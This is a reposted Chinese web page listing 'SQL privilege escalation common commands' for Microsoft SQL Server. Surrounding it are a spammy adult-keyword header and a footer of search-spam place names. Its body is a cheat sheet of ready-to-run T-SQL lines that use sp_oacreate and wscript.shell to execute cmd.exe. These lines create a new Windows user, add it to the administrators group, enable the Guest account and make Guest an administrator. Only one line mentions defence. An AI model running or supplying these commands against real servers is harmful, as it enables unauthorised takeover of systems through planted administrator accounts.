国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > SQL Server > 正文

SQL 提權 常用命令

2024-08-31 00:59:32
字體:
來源:轉載
供稿:網友
1、連接數據庫
driver={SQL Server};server=服務器IP;uid=用戶名;pwd=密碼;database=數據庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup Administrators Guest /add'
關于防范方法,可以參考武林網服務器安全設置欄目。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 孝昌县| 太谷县| 台江县| 襄汾县| 临城县| 雷州市| 青海省| 临沂市| 全州县| 双鸭山市| 忻州市| 涟源市| 长武县| 扎兰屯市| 淮滨县| 田林县| 博兴县| 青浦区| 武城县| 莲花县| 湘乡市| 平果县| 兴安盟| 亚东县| 纳雍县| 南平市| 贵南县| 花垣县| 奇台县| 莱西市| 谢通门县| 永康市| 武城县| 于都县| 丁青县| 靖西县| 阜新| 额敏县| 平顶山市| 静安区| 阳谷县|